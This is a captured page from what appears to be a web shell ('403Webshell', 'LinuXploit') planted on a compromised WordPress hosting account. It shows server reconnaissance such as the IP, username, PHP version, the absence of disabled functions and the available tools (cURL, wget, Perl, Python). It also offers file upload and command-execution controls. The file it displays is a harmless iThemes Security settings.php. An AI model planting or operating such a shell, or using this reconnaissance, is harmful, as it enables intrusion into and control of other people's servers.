403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.137.222.30
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/version-management/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/version-management/settings.php
<?php

use iThemesSecurity\Config_Settings;

final class ITSEC_Version_Management_Settings extends Config_Settings {
	public function load() {
		parent::load();
		$this->settings['wordpress_automatic_updates'] = get_site_option( 'auto_update_core_major' ) === 'enabled';
	}

	protected function handle_settings_changes( $old_settings ) {
		parent::handle_settings_changes( $old_settings );

		if (
			$this->settings['wordpress_automatic_updates'] !== $old_settings['wordpress_automatic_updates']
		) {
			update_site_option( 'auto_update_core_major', $this->settings['wordpress_automatic_updates'] ? 'enabled' : 'unset' );
		}
	}
}

ITSEC_Modules::register_settings( new ITSEC_Version_Management_Settings( ITSEC_Modules::get_config( 'version-management' ) ) );

Youez - 2016 - github.com/yon3zu
LinuXploit